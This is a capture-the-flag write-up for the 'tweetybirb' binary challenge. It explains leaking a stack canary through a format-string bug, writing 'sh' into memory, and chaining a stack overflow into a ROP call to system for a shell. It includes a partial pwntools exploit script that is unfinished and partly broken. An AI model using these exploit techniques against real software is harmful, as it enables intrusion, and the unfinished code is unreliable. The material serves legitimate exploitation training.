Tags: stack_canaries pwntools fmtstr format-string canary pwn stack_overflow 


Original walkup: https://github.com/Valmarelox/ctf/tree/master/walkups/kqctf-2021/tweetybirb

Looking at the binary using gdb, I missed the existence of the `win` function, so my solution is a bit more convoluted than required, but at least I learnt and enjoyed acheiving it :)
by disassembling the code in gdb I noticed the two vulnurabilities in the code:
1. classic format string attack in the main function
2. stack overflow in the main function

now I run checksec on the binary to see what I'm running against
[*] './tweetybirb'
Arch: amd64-64-little
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
So NX and a canary is enabled (also later I will find that the stack location is randomized).
So to exploit this we need to do the following:
1. leak the canary using the format string attack
2. Exploit the buffer overflow - carefully overriding the stack canary and executing a rop chain.
Up to here no biggie, the issue I encountered (due to missing the `win` function :() is where to rop to. as PIE is disabled I can jump to anywhere in the tweetybirb binary.
So I found the symbol `__bss_start` and decided to place the 'sh' string on it in order to rop into a `system` call.
To override it, I used the format string attack to also write that address.
Full Exploit chain now:
1. Exploit the format string attack - leak the canary and also override the `__bss_start` symbol with 'sh' (2 bytes write)
2. Create a buffer overflow which contains an override, the stack canary, and a rop chain into system, passing the address of `__bss_start` as `rdi` (to execute `system("sh")`.

I believed this would work - but it crashed the binary :(
I looked at the created coredump and saw it was caused in some random opcode that uses an `xmm` register. I quickly checked the `rsp` in the dump and it was `0xXXXXXXXXXXXXXXX8` - and the amd64 ABI mandated that `rsp & ~0xF == rsp` (16 byte alignment) before executing SSE2 instructions - I added another dummy `ret` to the rop chain to align the stack and viola!
I overcomplicated the challenge a bit but it made it a bigger challenge - also I got a shell instead of only the flag, which is always more rewarding :P

Full Exploit code:
#!/usr/bin/env python3

from pwn import *

HOST = ""
PORT = 5002

exe = ELF("./tweetybirb")

context.binary = exe
context.log_level = "debug"

def conn():
#return process([exe.path])
return remote(HOST, PORT)

def exec_fmt(payload):
p = process([exe.path])
return p.recvall()

def main():
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

io = conn()
# We offset +1 because of that the data prefixing this is also a printf magic
# align 18 for magic
# pwntools doesn't really expect you to prefix this with another format string
payload1 = fmtstr_payload(offset+1, {exe.symbols['__bss_start']: b'sh'}, numbwritten=18, write_size='short')
print('Symbol we look for is', exe.symbols['__bss_start'])
io.sendline(b'%15$lx '+payload1)
canary = io.recvline().strip().split()[0]
canary = int(canary, 16)

rop = ROP(exe)
# Add another rop to align 16-byte the stack as mandated by SSE2 instructions
rop.call('system', [exe.symbols['__bss_start']])
print('hey what', rop.dump())

if __name__ == '__main__':